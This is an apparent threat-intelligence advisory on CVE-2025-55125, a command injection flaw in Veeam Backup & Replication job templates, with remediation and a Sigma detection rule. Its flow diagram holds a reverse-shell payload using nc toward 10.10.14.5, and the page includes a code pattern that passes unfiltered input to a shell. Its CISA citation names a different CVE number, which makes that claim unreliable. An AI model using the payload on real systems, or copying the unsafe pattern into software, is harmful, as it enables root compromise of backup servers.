CVE-2025-55125: Root Command Injection via Backup Configuration in Veeam Backup & Replication
HERMES THREAT SCORE & JOB CONFIGURATION RISK
Target:Veeam Backup Configuration Parsing and Job Scheduling Subsystem Hermes rates CVE-2025-55125 at 86 (HIGH). The vulnerability allows non-administrative operators to achieve complete root access on Linux-based backup servers or remote proxy engines. The flaw lies directly within the job configuration template deserializer, turning restricted console access into an unconstrained host compromise.
CVE-2025-55125: Root Command Injection via Backup Configuration in Veeam Backup & ReplicationVULNERABILITY
Software platform affected by security vulnerabilities and agentic attack patterns.
๐ Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in Veeam Backup & Replication documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
1. Metadata & Attack Surface
Section titled โ1. Metadata & Attack Surfaceโ| Metric | Technical Specification | Operational Impact |
|---|---|---|
| CVE Identifier | CVE-2025-55125 | Official NVD / MITRE tracking record |
| Vendor Advisory | Veeam KB4716 | Cumulative security update for VBR v13 |
| Affected Component | Configuration Engine / Job Template Deserializer | Job scheduling and template ingestion |
| Affected Releases | VBR 13.x $\le$ 13.0.1.180 | Linux and Windows deployments |
| Patched Release | Veeam Backup & Replication 13.0.1.1071 | Recommended remediation |
| Vulnerability Class | CWE-78: OS Command Injection | Local privilege escalation to superuser |
| Prerequisite Access | Backup Operator or Tape Operator | Low-privileged authenticated role |
| Resulting Access | root (Linux) / SYSTEM (Windows) | Complete host takeover |
2. Technical Root Cause Analysis
Section titled โ2. Technical Root Cause AnalysisโApplication-aware image processing supports executing custom pre-freeze and post-thaw scripts to guarantee database and filesystem consistency.
CVE-2025-55125 Command Injection Flow:
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ Authenticated Operator (Backup Operator) โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโฌโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ Ingests crafted configuration template โ ScriptPath = "/bin/true; nc -e /bin/sh 10.10.14.5 9001" โผ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ Veeam Backup Service (Executing as root) โ โ 1. Deserializes configuration attributes โ โ 2. Invocates Process.Start("/bin/sh", "-c " + path) โ โ 3. Omits command metacharacter filtering โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโฌโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ Spawns child shell โผ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ Interactive root shell connection dispatched to C2 โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโUnfiltered Shell Invocation
Section titled โUnfiltered Shell InvocationโWhen deserializing imported job templates, the quiescence script path was directly concatenated into the shell invocation string:
// Vulnerability pattern illustration:string scriptCommand = config.PreFreezeScript;ProcessStartInfo psi = new ProcessStartInfo("/bin/sh", "-c " + scriptCommand) { UseShellExecute = false, RedirectStandardOutput = true};Process.Start(psi);Using standard command separators (;, &&, |), any operator can break out of the intended binary path and execute arbitrary shell commands with root privileges.
3. Detection & Threat Hunting
Section titled โ3. Detection & Threat HuntingโSigma Rule: Anomalous Shell Spawn by Veeam Service
Section titled โSigma Rule: Anomalous Shell Spawn by Veeam Serviceโtitle: Shell Command Injection from Veeam Backup Serviceid: cve-2025-55125-veeam-cmd-injectionstatus: experimentaldescription: Detects unexpected child shells or network utilities spawned by Veeam servicesreferences: - https://www.veeam.com/kb4716logsource: category: process_creation product: linuxdetection: selection: ParentImage|endswith: - '/veeamsvc' - '/VeeamDeploymentService' Image|endswith: - '/bin/sh' - '/bin/bash' - '/usr/bin/nc' - '/usr/bin/python3' CommandLine|contains: - ';' - '&&' - '|' - 'nc -' condition: selectionlevel: critical4. Remediation & Hardening
Section titled โ4. Remediation & Hardeningโ- Upgrade Immediately: Apply Veeam Backup & Replication 13.0.1.1071 (KB4716).
- Disable Custom Quiescence Scripts: Restrict custom script execution via global Veeam configuration policies.
- Role Segregation: Restrict job template import capabilities to primary backup administrators.
5. References
Section titled โ5. Referencesโ- Official Advisory: Veeam Security Bulletin KB4716
- NIST NVD Entry: CVE-2025-55125 Detail